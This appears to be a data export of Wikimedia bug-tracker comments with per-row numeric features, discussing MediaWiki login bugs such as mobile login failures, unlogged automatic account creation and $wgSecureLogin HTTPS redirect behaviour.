226348,meta.m.wikimedia.org user login doesn't work,"It seems mobile is now the default for visitors for Meta-Wiki (i.e., visiting meta.wikimedia.org automatically redirects to meta.m.wikimedia.org on mobile devices). Is this the case? If so, this bug is a fairly high priority, I think.",,,1367110993,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,9.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.326086956521739,0.8260869565217391,"It seems mobile is now the default for visitors for Meta-Wiki (i.e., visiting meta.wikimedia.org automatically redirects to meta.m.wikimedia.org on mobile devices). Is this the case? If so, this bug is a fairly high priority, I think."
226343,meta.m.wikimedia.org user login doesn't work,"**mgrover** wrote:

Assigned Mingle Ticket https://mingle.corp.wikimedia.org/projects/mobile/cards/745",,,1366946126,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.75,"**mgrover** wrote:

Assigned Mingle Ticket URL"
44434,Automatic account creation on manual login not logged in newusers log,"My browser has cookies from third parties disabled and than I am not logged in automatically with CentralAuth/SUL, when visited, for example, wikidata.org.

On my first visit on wikidata.org I have manually logged in over [[d:Special:UserLogin]] and my account was created automatically, but this account creation is not logged in the newusers log [[d:Special:Log/newusers/Umherirrender]].

Please log this automatically account creation on manually login also in the newusers log. Thanks.

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1353870240,1369394696.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-cr2twskhtr4untkis7m5,task_description,resolved,True,c2,1,False,False,True,-40,True,0.0,0.0,0.0,2.0,1.5,3.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,10.0,0.5,1.5,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.5,7.0,3.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,4.175988700564972,0.6798022598870057,"My browser has cookies from third parties disabled and than I am not logged in automatically with CentralAuth/SUL, when visited, for example, wikidata.org.

On my first visit on wikidata.org I have manually logged in over [[d:Special:UserLogin]] and my account was created automatically, but this account creation is not logged in the newusers log [[d:Special:Log/newusers/Umherirrender]].

Please log this automatically account creation on manually login also in the newusers log. Thanks.

--------------------------
**Version**: unspecified
**Severity**: critical"
192443,Automatic account creation on manual login not logged in newusers log,"successfully merged, thanks for your work!",,,1369394696,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"successfully merged, thanks for your work!"
192438,Automatic account creation on manual login not logged in newusers log,Related URL: https://gerrit.wikimedia.org/r/65123 (Gerrit Change I772cf0e7470a6111f84135074014e8a5f8c5fde0),,,1369319601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I772cf0e7470a6111f84135074014e8a5f8c5fde0)
192434,Automatic account creation on manual login not logged in newusers log,Adding Hoo also. I'll try and take a look at it this week.,,,1369316385,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,2.875,0.9375,Adding Hoo also. I'll try and take a look at it this week.
192430,Automatic account creation on manual login not logged in newusers log,Andrew / Greg: Any idea who could take a look at this issue?,,,1369251139,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-14,True,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Andrew / Greg: Any idea who could take a look at this issue?
192426,Automatic account creation on manual login not logged in newusers log,Bumping priority significantly; this is a real mess.,,,1367525894,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,4.5,1.0,Bumping priority significantly; this is a real mess.
192420,Automatic account creation on manual login not logged in newusers log,Confirmed on my local dev. Yuk. That needs to get fixed.,,,1367524953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,Confirmed on my local dev. Yuk. That needs to get fixed.
192415,Automatic account creation on manual login not logged in newusers log,*** Bug 48015 has been marked as a duplicate of this bug. ***,,,1367524364,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48015 has been marked as a duplicate of this bug. ***
42541,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"When using $wgSecureLogin, if a user leaves wpStickHTTPS unchecked, they are stil redirected to an https page after login.

I think it's because getFullURL returns a protocol relative url by default now, so preg_replace( '/^https:/', 'http:', $redirectUrl ) has no effect.

(NB: fixing this seems to prevent a user from logging in without wpStickHTTPS checked, because their session cookies are set with the secure attribute, but they are immediately redirected to an insecure page, so their session cookie no longer exists in the request.)

--------------------------
**Version**: 1.20.x
**Severity**: major",Unbreak Now!,100.0,1348709400,1377623307.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-z5wumrcziag5oczsoiqy,task_description,resolved,True,c2,1,True,False,True,-48,True,0.0,0.0,0.0,2.0,0.0,2.5,0.0,1.5,0.0,0.5,1.5,2.0,0.0,0.0,0.0,0.5,0.0,4.5,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.5,3.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,4.5,2.0,3.0,2.5,1.5,5.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,9.0,1.0,0.0,2.0,0.0,4.5,0.0,0.5,3.0,0.0,1.5,1.0,0.0,0.0,4.135788690476191,0.7635168650793651,"When using $wgSecureLogin, if a user leaves wpStickHTTPS unchecked, they are stil redirected to an https page after login.

I think it's because getFullURL returns a protocol relative url by default now, so preg_replace( '/^https:/', 'http:', $redirectUrl ) has no effect.

(NB: fixing this seems to prevent a user from logging in without wpStickHTTPS checked, because their session cookies are set with the secure attribute, but they are immediately redirected to an insecure page, so their session cookie no longer exists in the request.)

--------------------------
**Version**: 1.20.x
**Severity**: major"
205620,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,OSM upgraded to 1.21.2 (404e36a) and fixed https://trac.openstreetmap.org/ticket/3919 ; leaving the checkbox to stay on HTTPS successfully keeps me on HTTP.,,,1378797646,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,17.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.041666666666667,0.9166666666666666,OSM upgraded to 1.21.2 (404e36a) and fixed URL ; leaving the checkbox to stay on HTTPS successfully keeps me on HTTP.
205616,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #20)
> (In reply to comment #19)
> > What are the combinations?
> 
> 1. If you have prefershttps turned on, you always go to HTTPS.
> 2. If you don't have prefershttps turned on, you are sent to whatever
> protocol
> you were originally on. In other words, if you came from HTTP, you go back to
> HTTP. If you came from HTTPS, you go back to HTTPS.

The full set of options I was using while implementing this ended up as:

preferhttps	geoip-https	browsing	final protocol
true		no		http		http
true		no		https		https
true		yes		http		https
true		yes		https		https
false		no		http		http
false		no		https		https (w/ insec cookies)
false		yes		http		http
false		yes		https		https (w/ insec cookies?)",,,1377630104,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,3.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.5,0.5,0.0,6.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,3.0,4.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.142857142857143,0.4126984126984127,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The full set of options I was using while implementing this ended up as:

preferhttps	geoip-https	browsing	final protocol
true		no		http		http
true		no		https		https
true		yes		http		https
true		yes		https		https
false		no		http		http
false		no		https		https (w/ insec cookies)
false		yes		http		http
false		yes		https		https (w/ insec cookies?)"
205611,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #19)
> What are the combinations?

1. If you have prefershttps turned on, you always go to HTTPS.
2. If you don't have prefershttps turned on, you are sent to whatever protocol you were originally on. In other words, if you came from HTTP, you go back to HTTP. If you came from HTTPS, you go back to HTTPS.",,,1377628632,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,21.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,12.0,21.0,9.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.2337662337662336,0.5064935064935064,"(In reply to comment #19)
QUOTE

1. If you have prefershttps turned on, you always go to HTTPS.
2. If you don't have prefershttps turned on, you are sent to whatever protocol you were originally on. In other words, if you came from HTTP, you go back to HTTP. If you came from HTTPS, you go back to HTTPS."
205606,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #18)
> (In reply to comment #17)
> > So what's the alternative to $wgSecureLoginDefaultHTTPS now?
> 
> Nothing, because it doesn't make sense anymore. $wgSecureLoginDefaultHTTPS
> was
> made to decide what the default value of the mStickHTTPS checkbox was.
> However,
> that checkbox doesn't exist anymore, so there's no purpose in having a
> default
> value for it.
> 
> Whether you're sent to HTTPS, rather than being decided by a checkbox, is
> decided by a combination of what protocol you were previously browsing and
> the
> user preference prefershttps.

What are the combinations?

> 
> > What happens (now
> > and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?
> 
> I forget what release it was in, but having $wgSecureLogin as true and
> $wgServer with an HTTP protocol is considered a configuration error, so a
> patch
> was added that automatically shuts off $wgSecureLogin in Setup.php if that
> condition matches.

Yes, that's what the configuration suggests. I still don't understand how one is supposed to send logged in users to http after the secure login.",,,1377627693,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,2.0,30.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,2.0,6.0,22.0,1.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3763440860215055,0.44086021505376344,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What are the combinations?

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, that's what the configuration suggests. I still don't understand how one is supposed to send logged in users to http after the secure login."
205600,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #17)
> So what's the alternative to $wgSecureLoginDefaultHTTPS now?

Nothing, because it doesn't make sense anymore. $wgSecureLoginDefaultHTTPS was made to decide what the default value of the mStickHTTPS checkbox was. However, that checkbox doesn't exist anymore, so there's no purpose in having a default value for it.

Whether you're sent to HTTPS, rather than being decided by a checkbox, is decided by a combination of what protocol you were previously browsing and the user preference prefershttps.

> What happens (now
> and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?

I forget what release it was in, but having $wgSecureLogin as true and $wgServer with an HTTP protocol is considered a configuration error, so a patch was added that automatically shuts off $wgSecureLogin in Setup.php if that condition matches.",,,1377627495,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,3.0,1.0,0.5,0.5,0.5,0.0,0.5,4.0,1.5,0.0,0.0,0.5,0.5,0.0,7.0,11.5,0.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5,1.5,1.5,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.5,14.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,5.5,5.0,6.5,3.0,2.0,7.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,3.5,11.5,4.0,0.0,0.0,0.0,3.5,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.33744131455399,0.7551838810641627,"(In reply to comment #17)
QUOTE

Nothing, because it doesn't make sense anymore. $wgSecureLoginDefaultHTTPS was made to decide what the default value of the mStickHTTPS checkbox was. However, that checkbox doesn't exist anymore, so there's no purpose in having a default value for it.

Whether you're sent to HTTPS, rather than being decided by a checkbox, is decided by a combination of what protocol you were previously browsing and the user preference prefershttps.

QUOTE
QUOTE

I forget what release it was in, but having $wgSecureLogin as true and $wgServer with an HTTP protocol is considered a configuration error, so a patch was added that automatically shuts off $wgSecureLogin in Setup.php if that condition matches."
205594,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,So what's the alternative to $wgSecureLoginDefaultHTTPS now? What happens (now and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?,,,1377627194,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.241379310344827,0.8275862068965517,So what's the alternative to $wgSecureLoginDefaultHTTPS now? What happens (now and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?
205585,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"This is different from S's bug. The functionality is now present in both core and centralauth with the patches that were merged into master, and deployed to wmf14 by Chad on Saturday.

After bug 52283, we no longer have the wpStickHTTPS checkbox on the login form, instead we use the user's originating page + preference + geoip to make the determination.",,,1377623307,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,9.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,14.0,7.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.228571428571429,0.7714285714285715,"This is different from S's bug. The functionality is now present in both core and centralauth with the patches that were merged into master, and deployed to wmf14 by Chad on Saturday.

After bug 52283, we no longer have the wpStickHTTPS checkbox on the login form, instead we use the user's originating page + preference + geoip to make the determination."
205578,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #14)
> That change was merged on the 21st, but the ""included in"" info on the change
> only says wmf12. We're on 13/14 now.
> 
> Chris/Chad: is this live on the testwikis+mediawiki.org. We have another
> report
> of the issue from S in bug 53379.

I can't comment as to what is deployed, but I tested testwiki+mediawiki earlier this week and the specific issue mentioned at the top of this bug report doesn't occur.",,,1377618743,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,17.0,0.0,4.0,7.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,11.0,9.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.6666666666666665,0.7037037037037037,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I can't comment as to what is deployed, but I tested testwiki+mediawiki earlier this week and the specific issue mentioned at the top of this bug report doesn't occur."
205570,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"That change was merged on the 21st, but the ""included in"" info on the change only says wmf12. We're on 13/14 now.

Chris/Chad: is this live on the testwikis+mediawiki.org. We have another report of the issue from S in bug 53379.",,,1377618402,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5660377358490565,0.7358490566037735,"That change was merged on the 21st, but the ""included in"" info on the change only says wmf12. We're on 13/14 now.

Chris/Chad: is this live on the testwikis+mediawiki.org. We have another report of the issue from S in bug 53379."
205563,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Indee this seems to be hitting us again, see Chris and Tim on https://gerrit.wikimedia.org/r/#/c/79960/
